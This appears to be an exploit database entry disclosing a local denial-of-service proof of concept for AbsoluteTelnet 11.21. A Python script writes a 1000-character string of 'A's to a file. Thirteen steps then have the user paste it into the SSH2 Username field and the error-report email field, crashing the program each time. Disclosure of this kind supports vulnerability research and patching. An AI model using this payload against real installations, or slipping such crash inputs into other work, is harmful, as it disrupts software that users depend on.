AbsoluteTelnet 11.21 - 'Username' Denial of Service (PoC)

# Exploit Title: AbsoluteTelnet 11.21 - 'Username' Denial of Service (PoC)
# Discovered by: Xenofon Vassilakopoulos
# Discovered Date: 2020-05-21
# Vendor Homepage: https://www.celestialsoftware.net/
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.21.exe
# Tested Version: 11.21
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 7 Professional x86 SP1

# Description: AbsoluteTelnet 11.21 - 'SHA2/Username' and 'Send Error Report' Denial of Service (PoC)

# Steps to reproduce:
# 1. - Run python script
# 2. - Open absolutetelnet.txt and copy content to clipboard
# 3. - Open AbsoluteTelnet 11.21
# 4. - Select "new connection file -> Connection -> SSH2" 
# 5. - Paste the contents at the field "Authentication -> Username" 
# 6. - press "ok" button
# 7. - Crashed
# 8. - Reopen AbsoluteTelnet 11.21
# 9. - A new window will appear that prompts you to send an error report
# 10.- Open absolutetelnet.txt and copy content to clipboard
# 11.- Paste the contents at the field "Your Email Address (optional)"
# 12.- press "Send Error Report" button
# 13.- Crashed

buf = "\x41" * 1000
f = open ("absolutetelnet.txt", "w")
f.write(buf)
f.close()